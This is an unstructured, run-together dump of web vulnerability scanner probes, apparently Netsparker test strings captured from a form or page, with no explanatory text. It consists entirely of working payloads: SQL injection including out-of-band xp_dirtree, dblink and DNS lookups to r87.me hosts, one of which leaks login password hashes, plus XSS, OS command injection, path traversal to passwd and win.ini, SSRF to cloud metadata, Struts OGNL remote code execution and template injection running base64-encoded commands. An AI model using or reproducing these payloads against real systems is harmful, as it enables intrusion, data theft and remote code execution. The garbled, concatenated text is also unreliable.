wwwqq12345555SECRETS!!!scfeqig40iluyiluyiiluyiluyluyluyluyluylholas.https://knollcrestsa.com/1dfgsdfgsdfgpizdunhdfghdfghdfghxxx3%27-1 OR 1=1(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)' WAITFOR DELAY '0:0:25'-- /* 77671091-ed98-4637-9342-52db379338b4 */-1 OR 1=1n3tsp4rke2'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'1 WAITFOR DELAY '0:0:25'-- /* 339cc12a-1ed3-49ca-8558-b400e492a67c */-1 OR 1=1nxtspxrkexconvert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))WAITFOR DELAY '0:0:25'-- /* 42b8be89-7f21-43bc-824d-bb3b720c6786 */-1 OR 1=1N3TSP4RKE2'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='1) WAITFOR DELAY '0:0:25'-- /* 29902d0c-bb9f-404d-9def-7d4e5bf15799 */'"-->'"& SET /A 0xFFF9999-47787 &-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)') WAITFOR DELAY '0:0:25'-- /* dce0cd3b-8843-4de6-9253-a80cb94fdfbb */NS-1NO%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x00AD7C%29%3C%2FscRipt%3E'& SET /A 0xFFF9999-56061 &-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'-1 AND 'NS='ss')) WAITFOR DELAY '0:0:25'-- /* 626fa4e2-a47e-4305-a039-eeae135c6223 */data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDBBRDhDKTwvc2NyaXB0Pg==& SET /A 0xFFF9999-50475 &-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"-1' OR 1=1 OR 'ns'='ns"& ping -n 25 127.0.0.1 &1)) WAITFOR DELAY '0:0:25'-- /* 67937374-f4b7-4c17-8bd6-20e4a549cb14 */SET /A 0xFFF9999-63705 &'" ns=netsparker(0x00AD96) -1" OR 1=1 OR "ns"="ns(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))'& ping -n 25 127.0.0.1 &SET /A 0xFFF9999-862841));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* e7773443-c29f-443a-bcdd-3104d2ee063d */1 ns=netsparker(0x00ADA2) cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)-1 OR 17-7=10| SET /A 0xFFF9999-2104& ping -n 25 127.0.0.1 &1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 3aad0764-8b23-4456-a0b4-aea584cbf57c */-1 OR X='ss//r87.com/n/j/?0x00ADB0'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'1";expr 268409241 - 52409;"ping -n 25 127.0.0.1 &1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 6c6b5db5-84ff-4fdd-9fff-68cb876e7ff8 */-1' OR 1=1 OR '1'='1'>(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)1';expr 268409241 - 47834;'/../../../../../../../../../../boot.ini"&ping -w 25 127.0.0.1 &"-1' OR 1=1 OR '1'='1syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 2870f66e-23de-4428-9513-dc87e181142f */1;expr 268409241 - 38868;x">NSFTW/../../../../../../../../../../boot.ini .php-1" OR 1=1 OR "1"="1'&ping -w 25 127.0.0.1 &'1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 9394dd70-5a6b-4323-87dc-45aeafd0877b */expr 268409241 - 92221;1/../../../../../../../../../../boot.ini
'+NSFTW+'-1" OR 1=1 OR "1"="1-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* c7beb1fa-7b8f-4130-bca2-ff2a5f1a89b1 */&ping -w 25 127.0.0.1 &expr 268409241 - 17244file:///boot.ini(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)javascript:netsparker(0x00ADE9)hTTp://r87.com/n((select sleep(25)))a-- 1 /* 303ec0a4-7b44-4754-9adc-2596a0c5b918 */c:\boot.ini-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'ping -w 25 127.0.0.1 &http://r87.com/n? .php|expr${IFS}268409241${IFS}-${IFS}60530(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 7b49bb34-0a74-452c-b696-ee5c0a135e9e */ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................ping -n 25 127.0.0.1http://r87.com/n?.php*/netsparker(0x00ADEC);/*1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 11' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* 34fee2f7-3611-49da-aed5-9388993641c6 */php://filter//resource=http://r87.com/n? .php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.iniresponse.write(268409241-34431)'ping -w 25 127.0.0.1'+netsparker(0x00ADFC)+'(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))r87.com/nfile%3a%2f%2f%2fboot.ini+response.write(268409241-78515)'1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 69480bc7-36e9-4cb4-ac0a-10e9e28d2890 */|ping -n 25 127.0.0.1"+netsparker(0x00AE06)+"'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'{{268409241-91333}}"+response.write(268409241-18389)+"c%3a%5cboot.ini1';SELECT pg_sleep(25)-- /* 943745ec-740e-44a7-8083-dbc59755ac05 */\';netsparker(0x00AE12);///'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'=268409241-35634<% response.write(268409241-44557) %>/../../../../../../../../../../web.config1;SELECT pg_sleep(25)-- /* 778bc246-1f85-4270-b593-d95e22079ad1 */',netsparker(0x00AE1C),'/../../../../../../../../../../windows/win.iniprint(int)0xFFF9999-24029-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27<%- 268409241-43795 %>SELECT pg_sleep(25)-- /* 6c83ec70-ffcd-4068-8ea9-47cae89d0d68 */ netsparker(0x00AE1F) print(int)0xFFF9999-11412;-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1<#assign x=268409241 - 5665>
${x?string["0"]}file:///windows/win.ini
ns:netsparker056650=vuln1);SELECT pg_sleep(25)-- /* 6d212959-5693-4f57-98ba-3c179d839b7c */+print(int)0xFFF9999-44758;//
netsparker(0x00AE21);/../../../../../../../../../../windows/win.ini .php<%= "#{268409241-26556}" %>http://example.com/?
ns: netsparker056650=vulnhTTp://r87.com/?attack.samsclass.info/1');SELECT pg_sleep(25)-- /* 73ed81fe-0e32-478b-b544-d4a2a0e5e367 */${28275*28275-(8442)}c:\windows\win.ini'+print(int)0xFFF9999-90495+''+netsparker(0x00AE22)+'@(268409241-39097)1'));SELECT pg_sleep(25)-- /* 9bcf15be-478b-483d-a2f2-381cfae6c55e */"||NETSPARKER||N3tSp4rK3Rns:netsparker056650=vuln...//...//...//...//...//...//...//...//...//...//...//windows/win.ini1));SELECT pg_sleep(25)-- /* 57500789-fa0e-4ff5-b8ab-22c19d64cb95 */]>&lfi;{{ 268409241- 82652 }}'"@-->"+print(int)0xFFF9999-33787+"#{28275*28275-(95532)}....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
ns:netsparker056650=vuln((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* c88d9eff-7243-49f5-8bc0-ca3be0d23c4a */NS09<s1﹥DBLʺSNGLʹNS09]>&lfi;(268409241-56194)%22%2bnetsparker(0x00AE2E)%2b%22=(int)0xFFF9999-87150;//?>https://attack.samsclass.info/trace.axd.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.inig8h41mcn54ttxzdv9m0z-v7x2cqnbbtxiavwdrjooky.r87.meexec('xp_dirtree ''\\g8h41mcn54cgwwjvryu6z3lnd6wg-_gfs8-zcy_g'+'xuq.r87.me'+'\c$\a''')&thisdoesntexists;{{ 268409241- 3209 }}'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* f05eba93-f2f5-433c-938b-32a046d3799e */attack.samsclass.info/trace.axd{php}print(int)0xFFF9999-58401;{/php}. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini//g8h41mcn54tvvdpiqjzfrmh8jboyvrxm5wycf41dn8g.r87.medeclare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.g8h41mcn5483i0fbbpbvk4gq-uaxhfk_bwaommmh'+'eqq.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')//r87.com/?0x00AE34 %dtd;]>&a;'"-->http://r87.me/r/?id=g8h41mcn54jna1ixbngltj83fswutuccmr-uldkekhc-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 8c93f45a-ac2b-4cda-8212-319d325f48d5 */1;exec('xp_dirtree ''\\g8h41mcn54y6a6pf5eszwvfqnqdk8kasyuenljzp'+'fhs.r87.me'+'\c$\a''')--172.67.219.198/trace.axd/../../../../../../../../../../windows/iis6.log'{${print(int)0xFFF9999-98319}}' %dtd;]>&a;-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* 3cadc7e0-f11e-477b-b9c0-852868e365e7 */-1';exec('xp_dirtree ''\\g8h41mcn54xx5-wfiisw4xun-pkvvx_a2qtcd8dx'+'ne0.r87.me'+'\c$\a''')--http://g8h41mcn543-y4qserl1nredbxqoiitygz6vsuvqiwp.r87.me/p/gethostbyname(trim('g8h41mcn54-d32pcfhufpwernhbzb60c4roxzkh4'.'8zc.r87.me'))127.100.11.2/trace.axd[php]print(int)0xFFF9999-65211;[/php] %dtd;]>&a;/../../../../../../../../../../proc/self/fd/2ns@mail.ns'"/>()%26%25-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* fc32c48d-dfc6-4ce7-a2fc-ccac8499faa0 */gethostbyname(trim('g8h41mcn54avwxeg6yyi0bl-abliltxkvyulwk0w'.'xrw.r87.me'));1) exec('xp_dirtree ''\\g8h41mcn54jn6vylygf1va711zxgsks9oara3jnz'+'y7k.r87.me'+'\c$\a''')--127.0.0.1/trace.axdphp://filter//resource=http://g8h41mcn547xkshildddngvu7zagykyqagpbdw5fjuh.r87.me/p/%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='44219').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 81edce67-c3ef-405f-8ae1-6993a05704ff */
Content-Type:text/html
/../../../../../../../../../../proc/self/fd/2 .php1')exec('xp_dirtree ''\\g8h41mcn54zu0xnc_tdv6lkzlp5e72qw1uharewi'+'j-0.r87.me'+'\c$\a''')--g8h41mcn54dktdxku-zsgvaq5mp8f92o15inrxjc8hr.r87.me/p/+gethostbyname(trim('g8h41mcn54pvjdbfvbkt6nwbej8np9s_4fwpb4-c'.'iz8.r87.me'));//print localtime()*0+0xFFF9999-26748[::1]/trace.axd/../../../../../../../../../../etc/httpd/logs/error.log
' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* f31729fc-0ea6-4f6e-bbf3-62bcc344d102 */1))exec('xp_dirtree ''\\g8h41mcn54j17bdyk1lt9uo2bs8trvlrdme4vo77'+'k-q.r87.me'+'\c$\a''')--eval('print localtime()*0+0xFFF9999-92822')'+gethostbyname(trim('g8h41mcn54iodw34eaanf3dyy6ecmma1vdtxwr03'.'lv0.r87.me'))+'https://attack.samsclass.info/elmah.axd/../../../../../../../../../../etc/httpd/logs/error_log1'))exec('xp_dirtree ''\\g8h41mcn54h3bge8seujlkff8jugavaueftjq-s3'+'b5c.r87.me'+'\c$\a''')--ipt>netsparker(0x00AE3A)ipt>'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* ba1a3598-4b94-489e-9e65-2443ed85df43 */"+gethostbyname(trim('g8h41mcn54qrmffrufttuaeal9niafjdkksw1qew'.'eca.r87.me'))+"/../../../../../../../../../../var/log/apache2/error.logattack.samsclass.info/elmah.axdsyscolumns WHERE 2>3;exec('xp_dirtree ''\\g8h41mcn54x1omn-l9j3d2zrnz4zcptxy1e7rd9j'+'eng.r87.me'+'\c$\a''')--'+print localtime()*0+0xFFF9999-9470+' gethostbyname(trim('g8h41mcn542pzwi44nwcyteev_syxrxny5sdhk3_'.'bsg.r87.me'));//?>DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','g8h41mcn54tvbf-mo9b0s2x4keo2iumfibt9rb4k'+'3te.r87.me')exec sp_executesql @r172.67.219.198/elmah.axd/../../../../../../../../../../var/log/apache/error.log">"+print localtime()*0+0xFFF9999-33424+"'{${gethostbyname(trim('g8h41mcn54gktrg2qz_tle9er0l9wk2tzmsg3or2'.'omk.r87.me'))}}'127.100.11.2/elmah.axd1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','g8h41mcn54ya2cnpqakrob7emt9fv0nefppepors'+'oha.r87.me')exec sp_executesql @r--createobject("WScript.Shell").exec("nslookup g8h41mcn54b5zi4r-egvdqark-c3ixh4nyjpcao_" & "o9g.r87.me").StdOut.ReadAll/../../../../../../../../../../proc/versionarguments[1].end(require('child_process').execSync('expr 268409241 - 62915'))-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','g8h41mcn54gsmurqhnzwfllfvyanfifzutdawqwy'+'uau.r87.me')exec sp_executesql @r--+createobject("WScript.Shell").exec("nslookup g8h41mcn54py689je4qwhd7kdup6k-ansp5iuyu4" & "-uo.r87.me").StdOut.ReadAllSELECT dblink_connect('host=g8h41mcn54sur3wv6pw3pilztitucio5fdo7h4xi'||'60m.r87.me user=a password=a connect_timeout=2')/../../../../../../../../../../proc/version .phparguments[1].end(require('child_process').execSync('set /A 268409241 - 57093'))127.0.0.1/elmah.axd+createobject("WScript.Shell").exec("nslookup g8h41mcn54-5vzfcdjo-rh4ldshwgcfl0f_zwmcr" & "ml0.r87.me").StdOut.ReadAll+dblink_connect('host=g8h41mcn54bo-tvw7x-bso1spc3ft82iczdnq0dl'||'y-q.r87.me user=a password=a connect_timeout=2')%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-31016)}[::1]/elmah.axd/../../../../../../../../../../../etc/passwd<%createobject("WScript.Shell").exec("nslookup g8h41mcn540uguubxundccrjgpmjctvng9zdt4fq" & "nqu.r87.me").StdOut.ReadAll%>cast((SELECT dblink_connect('host=g8h41mcn54wo7txcuqdhh_r3jzo63eznajg9-eve'||'a7q.r87.me user=a password=a connect_timeout=2')) as numeric)p "#{0xFFF9999.to_i-`echo 85277`.to_i}"file:///etc/passwdhttps://attack.samsclass.info/elmah"+createobject("WScript.Shell").exec("nslookup g8h41mcn54rwlsg2xgjwy9dhcfsxrjw1jlbhvfcs" & "bng.r87.me").StdOut.ReadAll+"cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(103)||chr(56)||chr(104)||chr(52)||chr(49)||chr(109)||chr(99)||chr(110)||chr(53)||chr(52)||chr(98)||chr(118)||chr(103)||chr(97)||chr(57)||chr(110)||chr(121)||chr(101)||chr(114)||chr(108)||chr(53)||chr(112)||chr(120)||chr(119)||chr(55)||chr(116)||chr(122)||chr(111)||chr(103)||chr(103)||chr(107)||chr(116)||chr(99)||chr(102)||chr(114)||chr(52)||chr(99)||chr(100)||chr(100)||chr(105)||chr(98)||chr(112)||chr(105)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)gethostbyname(lc 'g8h41mcn54uqmwif12mj5jd8yqphg26fmcnxfq8v'.'h2q.r87.me')__import__('os').popen(('expr 268409241 - {0}').format('80247')).read()/../../../../../../../../../../../etc/passwd '||(SELECT dblink_connect('host=g8h41mcn54n2cu4vajtgag2ujwl29vy7sew9qqcm'||'5du.r87.me user=a password=a connect_timeout=2'))||'eval('gethostbyname(lc 'g8h41mcn54k-xakczbovszgdar9yhlnsyltp3yz8'.'k4e.r87.me')')attack.samsclass.info/elmah/../../../../../../../../../../../etc/passwd .php__import__('os').popen(('SET /A 268409241 - {0}').format('71109')).read()(select UTL_INADDR.GET_HOST_ADDRESS('g8h41mcn54isznvvqnlwbysxyczeqwyorbob4gcv'||'vge.r87.me') from DUAL)'+gethostbyname(lc 'g8h41mcn54x1bscxwrcgn8n-cyuaotngyxbv5ol6'.'jz4.r87.me')+'...//...//...//...//...//...//...//...//...//...//...//etc/passwd172.67.219.198/elmah(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('g8h41mcn54ynbgw-ln7aut4nnex6a4h-xaawg9xx'||'8ri.r87.me') from DUAL))))"+gethostbyname(lc 'g8h41mcn54dzcvpegwyml8d9-0mez8mfj8lbohfk'.'cky.r87.me')+"....//....//....//....//....//....//....//....//....//....//....//etc/passwd'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('g8h41mcn54vquzyg9puow95okedsathzivhqchju'||'mks.r87.me') from DUAL))||'127.100.11.2/elmah nslookup g8h41mcn54votr_3ud1xd4nr0n4ja_jbbko0hod7^iia.r87.me&'\"`0&nslookup g8h41mcn54votr_3ud1xd4nr0n4ja_jbbko0hod7^iia.r87.me&`'(select UTL_INADDR.GET_HOST_ADDRESS(chr(103)||chr(56)||chr(104)||chr(52)||chr(49)||chr(109)||chr(99)||chr(110)||chr(53)||chr(52)||chr(103)||chr(120)||chr(99)||chr(106)||chr(113)||chr(100)||chr(100)||chr(121)||chr(114)||chr(53)||chr(99)||chr(120)||chr(56)||chr(107)||chr(97)||chr(106)||chr(120)||chr(108)||chr(98)||chr(116)||chr(110)||chr(122)||chr(52)||chr(119)||chr(99)||chr(51)||chr(104)||chr(108)||chr(108)||chr(102)||chr(101)||chr(114)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL).....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd127.0.0.1/elmah& nslookup g8h41mcn54hwyjphrpoe_9hggk-nzpdm__bgvir8^knk.r87.me&'\"`0&nslookup g8h41mcn54hwyjphrpoe_9hggk-nzpdm__bgvir8^knk.r87.me&`'(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(103)||chr(56)||chr(104)||chr(52)||chr(49)||chr(109)||chr(99)||chr(110)||chr(53)||chr(52)||chr(108)||chr(55)||chr(115)||chr(114)||chr(112)||chr(116)||chr(116)||chr(110)||chr(114)||chr(56)||chr(121)||chr(107)||chr(54)||chr(50)||chr(110)||chr(122)||chr(112)||chr(56)||chr(99)||chr(50)||chr(98)||chr(107)||chr(103)||chr(98)||chr(105)||chr(112)||chr(49)||chr(97)||chr(122)||chr(118)||chr(109)||chr(105)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))). . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd[::1]/elmah'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(103)||chr(56)||chr(104)||chr(52)||chr(49)||chr(109)||chr(99)||chr(110)||chr(53)||chr(52)||chr(118)||chr(111)||chr(100)||chr(107)||chr(110)||chr(99)||chr(117)||chr(111)||chr(97)||chr(114)||chr(98)||chr(51)||chr(48)||chr(109)||chr(98)||chr(113)||chr(109)||chr(111)||chr(98)||chr(119)||chr(105)||chr(98)||chr(102)||chr(106)||chr(120)||chr(118)||chr(54)||chr(109)||chr(122)||chr(121)||chr(111)||chr(48)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||''& nslookup g8h41mcn54jhrmpxk2eukqmlvpncesf7sucevjdt^ufq.r87.me&'\"`0&nslookup g8h41mcn54jhrmpxk2eukqmlvpncesf7sucevjdt^ufq.r87.me&`'1/../../../../../../../../../../../etc/passwdhttp://aws.r87.me/latest/meta-data/public-hostname/etc/passwd"& nslookup g8h41mcn54lzbcgdfasedwel8mpr4imov6az5jkx^0vy.r87.me&'\"`0&nslookup g8h41mcn54lzbcgdfasedwel8mpr4imov6az5jkx^0vy.r87.me&`'http://169.254.169.254/latest/meta-data/public-hostname%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswdnslookup "g8h41mcn54x4vt_nwapgpwutwwymhiir1yuvqizj""qoy.r87.me"http://127.0.0.1:22&nslookup "g8h41mcn5445f9t51vj3s0bdrqjolzql2exzq4lu""tq8.r87.me"http://104.21.17.27:22'&nslookup "g8h41mcn543qj8qe65ldn9drur_bybffgrm70-jd""8gk.r87.me"data:;base64,TlM3NzU0NTYxNDQ2NTc1http://[::1]:22keylog.php"&nslookup "g8h41mcn54gq2kpsk7c9kdb_tgyedeakxtn3yulv""v3u.r87.me"http://127.0.0.1:3306keylog.php |nslookup${IFS}"g8h41mcn54bchxf4s-hmarr82lo6zblyq08fgixq""0hu.r87.me"http://104.21.17.27:3306WEB-INF/web.xmlhttp://[::1]:3306%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."g8h41mcn54ex5nihqcgg7aqz_9woxrutt1wgmbjj""od8.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}/../../../../../../../../../../WEB-INF/web.xml%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "g8h41mcn54_5ugtayojcihycrkrllunvvvdmujlc"spm.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}https://attack.samsclass.info/server-status/../../../../../../../../../../var/log/apache2/access.log{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgZzhoNDFtY241NHJzYTV5ZDgzZm51d3p1YjJ4enAxcnRjanQydzZ3aWF6Yy5yODcubWU=')).read()}}http://169.254.169.254/opc/v1/instance{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnWnpob05ERnRZMjQxTkY5c2VtUnFaR2hzYkd0dk1XbG5ZV053Y2pWc1ltVm9ibk53WjI5MWVtRmxZUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}/../../../../../../../../../../etc/httpd/logs/access.loghttps://metadata.packet.net/metadata= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgZzhoNDFtY241NHR3Nm1pOXRzamUyZG9wcGJzcjhkdmw3Y3FwdDF5bHc1ZS5yODcubWU=','base64').toString())/../../../../../../../../../../var/log/nginx/access.log<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgZzhoNDFtY241NHVhamNwajFvYnJsY3kxZGd2M3I5LXR3cWM3aGVmeHg1bS5yODcubWU=','base64').toString()) 